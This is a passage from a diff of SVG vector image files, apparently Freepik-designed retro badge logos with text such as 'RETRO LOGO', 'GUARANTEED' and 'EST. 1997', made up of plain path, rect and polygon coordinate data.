||||
<path fill="#2B292A" d="M95.4,113.5c-0.1-12.1-0.3-24.3-0.4-36.4c-2.5,0-5,0.1-7.4,0.1c0-1.9-0.1-3.8-0.1-5.7
|
||||
c7.6-0.2,15.3-0.2,22.9-0.1c0,1.9,0,3.8-0.1,5.7c-2.4,0-4.8,0-7.2,0c0,12.1,0,24.3,0,36.4C100.5,113.4,98,113.4,95.4,113.5z"/>
|
||||
<path fill="#2B292A" d="M113.3,113.5c0.2-14,0.4-28,0.6-42c3.4,0.1,6.8,0.1,10.3,0.2c2.4,0.1,4.4,0.3,6.1,0.8
|
||||
c1.7,0.4,3.1,1.1,4.3,2c1.2,0.9,2.1,2.1,2.6,3.6c0.5,1.5,0.8,3.3,0.7,5.4c-0.1,2.6-0.7,4.8-1.5,6.4c-0.9,1.6-2.3,2.8-4.2,3.5
|
||||
c1.7,7,3.4,14,5,21c-2.6-0.1-5.1-0.2-7.7-0.3c-1.4-6.5-2.9-12.9-4.4-19.4c-1.2,0-2.3-0.1-3.5-0.1c-0.2,6.4-0.3,12.8-0.5,19.2
|
||||
C118.4,113.6,115.8,113.5,113.3,113.5z M121.6,89.6c0.6,0,1.3,0,1.9,0.1c2.4,0.1,4-0.4,5.1-1.3c1-0.9,1.6-2.6,1.7-4.9
|
||||
c0.1-2.2-0.3-3.9-1.1-4.9c-0.8-1-2.4-1.5-4.8-1.6c-0.8,0-1.6,0-2.4-0.1C121.8,81.1,121.7,85.3,121.6,89.6z"/>
|
||||
<path fill="#2B292A" d="M153.5,115.8c-4.3-0.3-7.3-1.7-9.1-4.2c-1.7-2.5-2.5-6-2.2-10.5c0.3-5.2,0.6-10.3,0.9-15.5
|
||||
c0.1-2.2,0.5-4.1,1-5.8c0.5-1.6,1.3-3,2.4-4.1c1.1-1.1,2.5-2,4.2-2.4c1.7-0.5,3.7-0.6,6.1-0.5c4.6,0.4,7.8,1.8,9.6,4.3
|
||||
c1.8,2.5,2.5,6,2,10.4c-0.5,5.2-1,10.3-1.5,15.5c-0.2,2.2-0.6,4.1-1.2,5.7c-0.6,1.6-1.4,3-2.5,4.1c-1.1,1.1-2.4,1.9-4,2.4
|
||||
C157.6,115.8,155.7,116,153.5,115.8z M152,109.7c0.5,0.3,1.2,0.4,1.9,0.5c0.7,0.1,1.4,0,1.9-0.2c0.5-0.2,1-0.4,1.3-0.8
|
||||
c0.3-0.3,0.6-0.8,0.9-1.3c0.2-0.6,0.4-1.1,0.5-1.7c0.1-0.6,0.2-1.2,0.3-2c0.5-6.3,1-12.7,1.6-19c0.1-1,0.1-1.9,0-2.5
|
||||
c0-0.7-0.2-1.3-0.5-2c-0.3-0.6-0.7-1.1-1.3-1.5c-0.6-0.3-1.4-0.6-2.3-0.6c-1-0.1-1.8,0-2.4,0.3c-0.7,0.2-1.2,0.7-1.5,1.2
|
||||
c-0.3,0.6-0.6,1.2-0.7,1.9c-0.2,0.7-0.3,1.5-0.3,2.5c-0.4,6.4-0.9,12.7-1.3,19.1c-0.1,0.8-0.1,1.5-0.1,2.1
|
||||
c0,0.6,0.1,1.2,0.2,1.7c0.1,0.6,0.4,1.1,0.6,1.4C151.1,109.1,151.5,109.4,152,109.7z"/>
|
||||
</g>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M61.8,136.8h1.4v3.5c-1,0.7-2.4,1.2-3.7,1.2c-2.8,0-5-2.1-5-4.8c0-2.7,2.2-4.8,5.1-4.8
|
||||
c1.4,0,2.7,0.5,3.7,1.3l-0.9,1.2c-0.7-0.7-1.8-1.1-2.8-1.1c-1.9,0-3.5,1.5-3.5,3.4c0,1.9,1.5,3.4,3.5,3.4c0.7,0,1.5-0.2,2.2-0.7
|
||||
V136.8z"/>
|
||||
<path fill="#2B292A" d="M69.4,140.1c1.6,0,2.5-1,2.5-2.6V132h1.6v5.6c0,2.5-1.6,4-4.1,4s-4.2-1.5-4.2-4V132h1.6v5.6
|
||||
C66.9,139.1,67.9,140.1,69.4,140.1z"/>
|
||||
<path fill="#2B292A" d="M81.7,139.3h-4.8l-0.9,2.2h-1.7l4.2-9.5h1.6l4.2,9.5h-1.7L81.7,139.3z M81.1,137.9l-1.8-4.2l-1.8,4.2
|
||||
H81.1z"/>
|
||||
<path fill="#2B292A" d="M91.7,141.5l-1.7-2.9c-0.1,0-0.3,0-0.4,0h-2.3v2.9h-1.6V132h3.9c2.4,0,3.8,1.2,3.8,3.3
|
||||
c0,1.5-0.7,2.6-2,3.1l2.1,3.2H91.7z M89.5,137.2c1.5,0,2.3-0.6,2.3-1.9c0-1.3-0.8-1.9-2.3-1.9h-2.3v3.8H89.5z"/>
|
||||
<path fill="#2B292A" d="M101.6,139.3h-4.8l-0.9,2.2h-1.7l4.2-9.5h1.6l4.2,9.5h-1.7L101.6,139.3z M101,137.9l-1.8-4.2l-1.8,4.2
|
||||
H101z"/>
|
||||
<path fill="#2B292A" d="M107.1,132l5.1,6.8V132h1.6v9.5h-1.6l-5.1-6.8v6.8h-1.6V132H107.1z"/>
|
||||
<path fill="#2B292A" d="M122.8,132v1.4h-3v8.1h-1.6v-8.1h-3V132H122.8z"/>
|
||||
<path fill="#2B292A" d="M131,132v1.4h-5.2v2.6h4.7v1.4h-4.7v2.6h5.4v1.4h-7V132H131z"/>
|
||||
<path fill="#2B292A" d="M139.9,132v1.4h-5.2v2.6h4.7v1.4h-4.7v2.6h5.4v1.4h-7V132H139.9z"/>
|
||||
<path fill="#2B292A" d="M150.8,136.7c0,2.7-2.1,4.8-5,4.8H142V132h3.9C148.8,132,150.8,134,150.8,136.7z M149.2,136.7
|
||||
c0-1.9-1.5-3.3-3.3-3.3h-2.3v6.6h2.3C147.8,140,149.2,138.7,149.2,136.7z"/>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M98.5,149.4v1.1h-3.8v1.9h3.4v1h-3.4v1.9h3.9v1.1h-5.1v-7H98.5z"/>
|
||||
<path fill="#2B292A" d="M102.2,150.4c-0.7,0-1.1,0.3-1.1,0.7c0,1.5,3.8,0.7,3.8,3.2c0,1.2-1.1,2-2.6,2c-1.1,0-2.1-0.4-2.9-1.1
|
||||
l0.5-1c0.7,0.7,1.6,1,2.4,1c0.8,0,1.3-0.3,1.3-0.8c0-1.6-3.8-0.7-3.8-3.2c0-1.2,1-1.9,2.5-1.9c0.9,0,1.8,0.3,2.4,0.7l-0.5,1
|
||||
C103.5,150.6,102.8,150.4,102.2,150.4z"/>
|
||||
<path fill="#2B292A" d="M111,149.4v1.1h-2.2v5.9h-1.2v-5.9h-2.2v-1.1H111z"/>
|
||||
<path fill="#2B292A" d="M112.3,155.8c0,0.4-0.3,0.7-0.6,0.7s-0.6-0.3-0.6-0.7c0-0.4,0.3-0.6,0.6-0.6S112.3,155.4,112.3,155.8z"
|
||||
/>
|
||||
<path fill="#2B292A" d="M94.1,161.3v7h-1.2v-5.9h-1.5v-1.1H94.1z"/>
|
||||
<path fill="#2B292A" d="M99.1,167.4c1.3,0,2-1,1.9-2.5c-0.4,0.7-1,1-1.9,1c-1.4,0-2.2-0.9-2.2-2.2c0-1.4,1-2.3,2.4-2.3
|
||||
c1.8,0,2.8,1.3,2.8,3.4c0,2.2-1.2,3.7-3,3.7c-0.7,0-1.5-0.2-2.1-0.5l0.5-0.9C98,167.2,98.6,167.4,99.1,167.4z M98,163.6
|
||||
c0,0.8,0.5,1.3,1.4,1.3c0.9,0,1.5-0.6,1.5-1.3c0-0.6-0.4-1.3-1.4-1.3C98.6,162.3,98,162.8,98,163.6z"/>
|
||||
<path fill="#2B292A" d="M105.3,167.4c1.3,0,2-1,1.9-2.5c-0.4,0.7-1,1-1.9,1c-1.4,0-2.2-0.9-2.2-2.2c0-1.4,1-2.3,2.4-2.3
|
||||
c1.8,0,2.8,1.3,2.8,3.4c0,2.2-1.2,3.7-3,3.7c-0.7,0-1.5-0.2-2.1-0.5l0.5-0.9C104.1,167.2,104.7,167.4,105.3,167.4z M104.2,163.6
|
||||
c0,0.8,0.5,1.3,1.4,1.3c0.9,0,1.5-0.6,1.5-1.3c0-0.6-0.4-1.3-1.4-1.3C104.7,162.3,104.2,162.8,104.2,163.6z"/>
|
||||
<path fill="#2B292A" d="M114.6,161.3v0.9l-2.9,6.1h-1.2l2.9-5.9h-3l0,1h-1v-2H114.6z"/>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#FFFFFF" d="M97.8,55V36.8h4.2c1,0,1.8,0.1,2.5,0.2c0.7,0.2,1.3,0.4,1.8,0.8c0.5,0.4,0.9,0.9,1.1,1.5
|
||||
c0.3,0.6,0.4,1.4,0.4,2.3c0,1.1-0.2,2.1-0.5,2.8c-0.3,0.7-0.9,1.3-1.7,1.6l2.5,9h-3.3l-2.2-8.3h-1.5V55H97.8z M101.1,44.5h0.8
|
||||
c1,0,1.7-0.2,2.1-0.6c0.4-0.4,0.6-1.1,0.6-2.1c0-1-0.2-1.7-0.5-2.1c-0.4-0.4-1-0.6-2-0.6h-1V44.5z"/>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
<g id="DESIGNED_BY_FREEPIK">
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 9.0 KiB |
@@ -0,0 +1,195 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
|
||||
viewBox="0 0 200.6 165" enable-background="new 0 0 200.6 165" xml:space="preserve">
|
||||
<g id="BACKGROUND" display="none">
|
||||
<rect x="-63.1" y="-309.4" display="inline" fill="#FFFFFF" width="800" height="800"/>
|
||||
</g>
|
||||
<g id="OBJECTS">
|
||||
<g>
|
||||
<g>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M26.1,91.1v-25h5.7c1.3,0,2.4,0.1,3.4,0.3c0.9,0.2,1.8,0.6,2.5,1.1c0.7,0.5,1.2,1.2,1.6,2.1
|
||||
s0.5,1.9,0.5,3.2c0,1.6-0.2,2.8-0.7,3.8s-1.2,1.7-2.3,2.2l3.5,12.3h-4.6l-3-11.4h-2v11.4H26.1z M30.6,76.8h1.1
|
||||
c1.3,0,2.3-0.3,2.9-0.9c0.6-0.6,0.9-1.6,0.9-2.9c0-1.3-0.2-2.3-0.7-2.9c-0.5-0.6-1.4-0.9-2.7-0.9h-1.4V76.8z"/>
|
||||
<path fill="#2B292A" d="M43.2,91.1v-25h10.4v3.2h-5.9v7.2h4.7v3.2h-4.7V88h6v3.1H43.2z"/>
|
||||
<path fill="#2B292A" d="M58.8,91.1V69.5h-4.2v-3.4h12.8v3.4h-4.1v21.6H58.8z"/>
|
||||
<path fill="#2B292A" d="M69.3,91.1v-25h5.7c1.3,0,2.4,0.1,3.4,0.3c0.9,0.2,1.8,0.6,2.5,1.1c0.7,0.5,1.2,1.2,1.6,2.1
|
||||
s0.5,1.9,0.5,3.2c0,1.6-0.2,2.8-0.7,3.8s-1.2,1.7-2.3,2.2l3.5,12.3h-4.6l-3-11.4h-2v11.4H69.3z M73.9,76.8H75
|
||||
c1.3,0,2.3-0.3,2.9-0.9c0.6-0.6,0.9-1.6,0.9-2.9c0-1.3-0.2-2.3-0.7-2.9c-0.5-0.6-1.4-0.9-2.7-0.9h-1.4V76.8z"/>
|
||||
<path fill="#2B292A" d="M93.2,91.4c-2.6,0-4.4-0.7-5.5-2.1c-1.1-1.4-1.7-3.4-1.7-6.1V74c0-1.3,0.1-2.5,0.4-3.4s0.7-1.8,1.2-2.5
|
||||
s1.3-1.2,2.2-1.6s2.1-0.5,3.4-0.5c2.6,0,4.4,0.7,5.5,2.1c1.1,1.4,1.7,3.4,1.7,6.1v9.2c0,1.3-0.1,2.5-0.4,3.4s-0.7,1.8-1.2,2.6
|
||||
c-0.6,0.7-1.3,1.3-2.2,1.6C95.7,91.2,94.5,91.4,93.2,91.4z M92.1,87.9c0.3,0.1,0.7,0.2,1.1,0.2c0.4,0,0.8-0.1,1.1-0.2
|
||||
c0.3-0.1,0.6-0.3,0.7-0.5c0.2-0.2,0.3-0.5,0.4-0.8c0.1-0.3,0.2-0.7,0.2-1s0.1-0.7,0.1-1.2V72.9c0-0.6,0-1.1-0.1-1.5
|
||||
c-0.1-0.4-0.2-0.8-0.4-1.1s-0.4-0.6-0.8-0.8c-0.4-0.2-0.8-0.3-1.3-0.3s-1,0.1-1.3,0.3c-0.4,0.2-0.6,0.4-0.8,0.8
|
||||
c-0.2,0.4-0.3,0.7-0.3,1.1c-0.1,0.4-0.1,0.9-0.1,1.5v11.3c0,0.5,0,0.9,0.1,1.2s0.1,0.7,0.2,1s0.2,0.6,0.4,0.8
|
||||
C91.5,87.6,91.8,87.7,92.1,87.9z"/>
|
||||
<path fill="#2B292A" d="M111.3,91.1v-25h4.5V88h6v3.1H111.3z"/>
|
||||
<path fill="#2B292A" d="M130.7,91.4c-2.6,0-4.4-0.7-5.5-2.1c-1.1-1.4-1.7-3.4-1.7-6.1V74c0-1.3,0.1-2.5,0.4-3.4
|
||||
s0.7-1.8,1.2-2.5s1.3-1.2,2.2-1.6s2.1-0.5,3.4-0.5c2.6,0,4.4,0.7,5.5,2.1c1.1,1.4,1.7,3.4,1.7,6.1v9.2c0,1.3-0.1,2.5-0.4,3.4
|
||||
s-0.7,1.8-1.2,2.6c-0.6,0.7-1.3,1.3-2.2,1.6C133.2,91.2,132,91.4,130.7,91.4z M129.6,87.9c0.3,0.1,0.7,0.2,1.1,0.2
|
||||
c0.4,0,0.8-0.1,1.1-0.2c0.3-0.1,0.6-0.3,0.7-0.5c0.2-0.2,0.3-0.5,0.4-0.8c0.1-0.3,0.2-0.7,0.2-1s0.1-0.7,0.1-1.2V72.9
|
||||
c0-0.6,0-1.1-0.1-1.5c-0.1-0.4-0.2-0.8-0.4-1.1s-0.4-0.6-0.8-0.8c-0.4-0.2-0.8-0.3-1.3-0.3s-1,0.1-1.3,0.3
|
||||
c-0.4,0.2-0.6,0.4-0.8,0.8c-0.2,0.4-0.3,0.7-0.3,1.1c-0.1,0.4-0.1,0.9-0.1,1.5v11.3c0,0.5,0,0.9,0.1,1.2s0.1,0.7,0.2,1
|
||||
s0.2,0.6,0.4,0.8C129,87.6,129.3,87.7,129.6,87.9z"/>
|
||||
<path fill="#2B292A" d="M147.5,91.5c-2.4,0-4.1-0.7-5.1-2.2s-1.6-3.6-1.6-6.4v-8.1c0-1.4,0.1-2.7,0.3-3.7c0.2-1,0.6-2,1.1-2.7
|
||||
c0.5-0.8,1.3-1.4,2.2-1.8c0.9-0.4,2.1-0.6,3.4-0.6c2.5,0,4.2,0.6,5.3,1.8c1.1,1.2,1.6,3,1.6,5.5v1.2h-4.4v-1.3c0-0.6,0-1,0-1.4
|
||||
c0-0.4-0.1-0.7-0.2-1.1c-0.1-0.4-0.2-0.6-0.4-0.8c-0.2-0.2-0.4-0.3-0.7-0.5c-0.3-0.1-0.7-0.2-1.1-0.2c-0.3,0-0.6,0-0.9,0.1
|
||||
s-0.5,0.2-0.7,0.3s-0.3,0.3-0.5,0.5c-0.1,0.2-0.2,0.5-0.3,0.7c-0.1,0.2-0.1,0.5-0.2,0.8s-0.1,0.6-0.1,0.9c0,0.3,0,0.6,0,1v10.1
|
||||
c0,1.5,0.2,2.6,0.6,3.3c0.4,0.7,1.1,1,2.1,1c0.5,0,1-0.1,1.4-0.3c0.4-0.2,0.7-0.5,0.9-0.9s0.4-0.9,0.4-1.4
|
||||
c0.1-0.5,0.1-1.2,0.1-1.9v-2h-2.7v-2.9h6.8v12.7h-3l-0.3-2.5C151,90.5,149.6,91.5,147.5,91.5z"/>
|
||||
<path fill="#2B292A" d="M165.3,91.4c-2.6,0-4.4-0.7-5.5-2.1c-1.1-1.4-1.7-3.4-1.7-6.1V74c0-1.3,0.1-2.5,0.4-3.4
|
||||
s0.7-1.8,1.2-2.5s1.3-1.2,2.2-1.6s2.1-0.5,3.4-0.5c2.6,0,4.4,0.7,5.5,2.1c1.1,1.4,1.7,3.4,1.7,6.1v9.2c0,1.3-0.1,2.5-0.4,3.4
|
||||
s-0.7,1.8-1.2,2.6c-0.6,0.7-1.3,1.3-2.2,1.6C167.7,91.2,166.6,91.4,165.3,91.4z M164.1,87.9c0.3,0.1,0.7,0.2,1.1,0.2
|
||||
c0.4,0,0.8-0.1,1.1-0.2c0.3-0.1,0.6-0.3,0.7-0.5c0.2-0.2,0.3-0.5,0.4-0.8c0.1-0.3,0.2-0.7,0.2-1s0.1-0.7,0.1-1.2V72.9
|
||||
c0-0.6,0-1.1-0.1-1.5c-0.1-0.4-0.2-0.8-0.4-1.1s-0.4-0.6-0.8-0.8c-0.4-0.2-0.8-0.3-1.3-0.3s-1,0.1-1.3,0.3
|
||||
c-0.4,0.2-0.6,0.4-0.8,0.8c-0.2,0.4-0.3,0.7-0.3,1.1c-0.1,0.4-0.1,0.9-0.1,1.5v11.3c0,0.5,0,0.9,0.1,1.2s0.1,0.7,0.2,1
|
||||
s0.2,0.6,0.4,0.8C163.6,87.6,163.8,87.7,164.1,87.9z"/>
|
||||
</g>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M64.3,114.4h1.2v3.1c-0.9,0.6-2.1,1.1-3.3,1.1c-2.5,0-4.4-1.9-4.4-4.3c0-2.4,2-4.2,4.5-4.2
|
||||
c1.2,0,2.4,0.5,3.2,1.2l-0.8,1c-0.6-0.6-1.6-1-2.4-1c-1.7,0-3.1,1.3-3.1,3c0,1.7,1.4,3,3.1,3c0.6,0,1.3-0.2,1.9-0.6V114.4z"/>
|
||||
<path fill="#2B292A" d="M71.1,117.3c1.4,0,2.2-0.8,2.2-2.3v-4.9h1.4v4.9c0,2.2-1.4,3.5-3.7,3.5c-2.3,0-3.7-1.3-3.7-3.5v-4.9h1.4
|
||||
v4.9C68.8,116.5,69.7,117.3,71.1,117.3z"/>
|
||||
<path fill="#2B292A" d="M82,116.7h-4.2l-0.8,1.9h-1.5l3.7-8.4h1.5l3.7,8.4h-1.5L82,116.7z M81.4,115.4l-1.6-3.7l-1.6,3.7H81.4z"
|
||||
/>
|
||||
<path fill="#2B292A" d="M90.7,118.6l-1.5-2.5c-0.1,0-0.3,0-0.4,0h-2v2.5h-1.4v-8.4h3.4c2.2,0,3.4,1,3.4,2.9
|
||||
c0,1.3-0.6,2.3-1.7,2.7l1.9,2.8H90.7z M88.8,114.7c1.3,0,2-0.6,2-1.7c0-1.1-0.7-1.6-2-1.6h-2v3.3H88.8z"/>
|
||||
<path fill="#2B292A" d="M99.5,116.7h-4.2l-0.8,1.9H93l3.7-8.4h1.5l3.7,8.4h-1.5L99.5,116.7z M99,115.4l-1.6-3.7l-1.6,3.7H99z"/>
|
||||
<path fill="#2B292A" d="M104.3,110.1l4.5,6v-6h1.4v8.4h-1.4l-4.5-6v6H103v-8.4H104.3z"/>
|
||||
<path fill="#2B292A" d="M118.2,110.1v1.3h-2.7v7.1h-1.4v-7.1h-2.7v-1.3H118.2z"/>
|
||||
<path fill="#2B292A" d="M125.4,110.1v1.3h-4.6v2.3h4.1v1.3h-4.1v2.3h4.7v1.3h-6.2v-8.4H125.4z"/>
|
||||
<path fill="#2B292A" d="M133.3,110.1v1.3h-4.6v2.3h4.1v1.3h-4.1v2.3h4.7v1.3h-6.2v-8.4H133.3z"/>
|
||||
<path fill="#2B292A" d="M143,114.4c0,2.4-1.8,4.2-4.4,4.2h-3.4v-8.4h3.5C141.2,110.1,143,111.9,143,114.4z M141.6,114.4
|
||||
c0-1.7-1.3-2.9-2.9-2.9h-2v5.9h2.1C140.3,117.3,141.6,116.1,141.6,114.4z"/>
|
||||
</g>
|
||||
<path fill="#2B292A" d="M32.3,117.1c1.2,2.6,2.5,5.1,4,7.6c6.4,10.5,15.2,19.3,26.3,26.1c18.8,11.6,37.4,13.6,38.2,13.6l0.2,0
|
||||
l0.2,0c0.7-0.1,18.4-2.2,36.2-13.8c10.5-6.8,18.9-15.4,25-25.7c1.5-2.5,2.8-5.1,4-7.8h34.2l-2.3-18.9l2.3-21.4h-11.6V56h-15.2
|
||||
V16.3c0-9-7.3-16.3-16.3-16.3H40.7c-9,0-16.3,7.3-16.3,16.3V56H9.2v20.7H0.3l2.3,21.4l-2.3,18.9H32.3z M9.2,78.8v23.2h17.9
|
||||
c1.1,4.6,2.5,9,4.3,13.2H2.6l2-16.8l0-0.1L2.6,78.8H9.2z M11.2,76.8V58.1h13.2h1.7h1.7h5.6h1h1h127.2h1h1h5.6h1.7h1.7h13.2v18.7
|
||||
v1v1v21.2h-15.2H170h-1.8h-5.7h-1h-1h-4.6h-1h-1H47h-1h-1h-7h-1h-1h-5.7h-1.8h-1.8H11.2V78.8v-1V76.8z M27.8,16.3
|
||||
c0-7.1,5.8-12.9,12.9-12.9h116.6c7.1,0,12.9,5.8,12.9,12.9V56h-5.6V14.9c0-3.3-2.7-6-6-6H39.4c-3.3,0-6,2.7-6,6V56h-5.6V16.3z
|
||||
M162.7,56H35.4V14.9c0-2.2,1.8-4,4-4h119.2c2.2,0,4,1.8,4,4V56z M196.2,98.2l2.1,16.9h-31.1c1.7-4.2,3.1-8.6,4.1-13.2h17.6V78.8
|
||||
h9.4L196.2,98.2z M162.6,117.1c-1,2.1-2,4.1-3.1,6c-5.7,9.8-13.7,18.1-23.8,24.6c-16.3,10.5-32.8,13-34.7,13.3
|
||||
c-2-0.2-19.4-2.6-36.6-13.2c-10.6-6.6-19-14.9-25.1-25c-1.1-1.8-2.1-3.8-3.1-5.7c-0.2-0.3-0.3-0.7-0.5-1c-0.2-0.3-0.3-0.7-0.5-1
|
||||
c-1.9-4.2-3.4-8.5-4.5-13.2h5.8c1.2,4.6,2.9,9,4.9,13.2c0.2,0.3,0.3,0.7,0.5,1c0.2,0.3,0.4,0.7,0.5,1c5.6,10.4,13.7,19,24.5,25.8
|
||||
c14.7,9.2,29.7,12,33.9,12.6l0.2,0l0.2,0c4-0.7,18.2-3.6,32-12.6c10.3-6.8,18.1-15.4,23.4-25.7c0.2-0.3,0.3-0.7,0.5-1
|
||||
c0.2-0.3,0.3-0.7,0.5-1c1.9-4.1,3.5-8.5,4.6-13.2h5.7c-1.1,4.6-2.5,9-4.3,13.2c-0.1,0.3-0.3,0.7-0.4,1
|
||||
C162.9,116.4,162.7,116.8,162.6,117.1z M154.9,115.8c-0.2,0.5-0.5,0.9-0.7,1.3c-5.1,9.6-12.5,17.7-22.2,24.1
|
||||
c-13.3,8.7-26.9,11.6-31,12.3c-4.4-0.7-18.9-3.4-33-12.3c-10.1-6.3-17.9-14.4-23.3-24.1c-0.2-0.3-0.4-0.7-0.5-1
|
||||
c-0.2-0.3-0.4-0.7-0.5-1c-2.1-4.1-3.8-8.5-5.1-13.2H45h1h1h106.8h1h1h4.1c-1.1,4.1-2.4,8-4.1,11.7
|
||||
C155.5,114.4,155.2,115.1,154.9,115.8z"/>
|
||||
<rect x="175.1" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="183.3" y="62.8" fill="#2B292A" width="0.9" height="2.6"/>
|
||||
<rect x="183.3" y="73.2" fill="#2B292A" width="0.9" height="2.6"/>
|
||||
<rect x="183.3" y="68" fill="#2B292A" width="0.9" height="2.6"/>
|
||||
<rect x="180.2" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="20.1" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="13.9" y="68.4" fill="#2B292A" width="0.9" height="2.6"/>
|
||||
<rect x="13.9" y="73.5" fill="#2B292A" width="0.9" height="2.6"/>
|
||||
<rect x="14.9" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="13.9" y="63.2" fill="#2B292A" width="0.9" height="2.6"/>
|
||||
<rect x="18.8" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<polygon fill="#2B292A" points="14.8,78.8 14.8,78.7 13.9,78.7 13.9,78.8 13.9,81.3 14.8,81.3 "/>
|
||||
<rect x="13.9" y="83.9" fill="#2B292A" width="0.9" height="2.6"/>
|
||||
<rect x="13.9" y="89" fill="#2B292A" width="0.9" height="2.6"/>
|
||||
<polygon fill="#2B292A" points="16.3,96.3 14.8,96.3 14.8,94.2 13.9,94.2 13.9,97.2 16.3,97.2 "/>
|
||||
<rect x="183.3" y="88.7" fill="#2B292A" width="0.9" height="2.6"/>
|
||||
<polygon fill="#2B292A" points="184.2,78.8 184.2,78.3 183.3,78.3 183.3,78.8 183.3,80.9 184.2,80.9 "/>
|
||||
<rect x="173.8" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="183.3" y="83.5" fill="#2B292A" width="0.9" height="2.6"/>
|
||||
<rect x="178.9" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="183.3" y="93.8" fill="#2B292A" width="0.9" height="2.6"/>
|
||||
<rect x="164.7" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="30.4" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<polygon fill="#2B292A" points="31.7,97.2 31.7,96.3 29.4,96.3 29.2,96.3 29.2,97.2 29.6,97.2 "/>
|
||||
<rect x="163.5" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<polygon fill="#2B292A" points="26.6,97.2 26.6,96.3 25.9,96.3 24,96.3 24,97.2 26.1,97.2 "/>
|
||||
<polygon fill="#2B292A" points="172,61.6 172.5,61.6 172.5,60.8 172,60.8 170.3,60.8 169.9,60.8 169.9,61.6 170.3,61.6 "/>
|
||||
<polygon fill="#2B292A" points="27.8,61.6 27.9,61.6 27.9,60.8 27.8,60.8 26.1,60.8 25.3,60.8 25.3,61.6 26.1,61.6 "/>
|
||||
<polygon fill="#2B292A" points="170.5,97.2 171.2,97.2 171.2,96.3 170.7,96.3 168.9,96.3 168.6,96.3 168.6,97.2 168.8,97.2
|
||||
"/>
|
||||
<rect x="87.3" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="92.4" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="91.1" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="86" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="82.1" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="80.8" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="113.1" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="96.3" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="106.6" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="111.8" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="107.9" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="117" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="97.6" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="101.5" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="102.8" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="60.2" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="55" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="49.8" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="51.1" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="76.9" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="45.9" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="40.8" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="35.6" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="70.5" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="71.8" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="75.6" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="66.6" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="61.4" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="65.3" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="56.3" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="148" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="149.2" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="154.4" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="118.2" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="142.8" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="159.6" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
<rect x="144.1" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
|
||||
